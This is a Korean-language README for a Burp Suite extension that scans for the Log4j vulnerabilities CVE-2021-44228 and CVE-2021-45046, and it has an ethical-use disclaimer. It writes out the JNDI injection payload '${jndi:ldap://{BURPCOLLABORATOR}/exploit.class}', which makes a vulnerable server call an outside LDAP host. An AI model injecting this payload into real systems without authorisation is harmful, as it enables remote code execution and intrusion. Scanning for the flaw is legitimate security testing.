dxc-strikeforce/burp-log4j-hammertimeBurp Active Scan 확장 프로그램: Log4j 취약점 CVE-2021-44228 및 CVE-2021-45046 식별
이 Burp Suite Active Scanner 확장 프로그램은 Apache Log4j CVE-2021-44228 및 CVE-2021-45046 취약점의 악용을 검증합니다.
이 확장 프로그램은 Burp Collaborator를 사용하여 문제를 확인합니다.
이 모듈의 검사만 실행하려면 extensions-only.json 프로필을 가져와 Active Scan 프로필로 선택하면 됩니다.
Active Scan 중 다음 삽입 지점이 이 확장 프로그램에서 시도됩니다:
각 삽입 지점에서 요청에 다음 페이로드가 주입됩니다:
${jndi:ldap://{BURPCOLLABORATOR}/exploit.class}
또한 이 확장 프로그램은 headers에서 활성화된 많은 헤더(주석 처리되지 않은 줄)를 추가합니다. 이 헤더들은 별도의 요청에 하나씩 주입됩니다.
이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 Log4Shell-active-scanner를 사용하여 대상을 공격하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
